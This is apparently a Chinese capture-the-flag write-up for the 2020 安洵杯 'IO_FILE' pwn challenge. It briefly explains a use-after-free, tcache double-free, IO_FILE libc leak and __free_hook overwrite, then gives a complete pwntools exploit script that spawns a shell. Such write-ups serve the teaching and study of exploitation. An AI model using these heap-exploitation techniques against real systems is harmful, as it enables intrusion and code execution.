IO_FILE

发表于 2021-01-15 分类于 Challenge， 2020， 安洵杯， Pwn
Challenge | 2020 | 安洵杯 | Pwn | IO_FILE

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8582

题目考点

解题思路

存在UAF漏洞，double free tcache_attack攻击IO_FILE之后，泄露libc，再double free tacche_attack修改free_hook为system

EXP

```
from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
elf=ELF("./IO_FILE")
#p=process("./IO_FILE")
p=remote("127.0.0.1", 20002)
libc=ELF("./libc.so.6")
def add(size,des):
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("ion:")
    p.send(des)
def dele(idx):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,'\x60')
add(0x60,'\x60')
payload=p64(0xfdab1800)+p64(0)*3+'\x00'
add(0x60,payload)
leak_vtable=u64(p.recvuntil("exit")[0x58:0x60])

libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]


add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,"/bin/sh")
add(0x70,p64(system))
dele(7)
#gdb.attach(p)
p.interactive()
```


 # Challenge # 2020 # Pwn # 安洵杯

Einstein
EasyCM_WP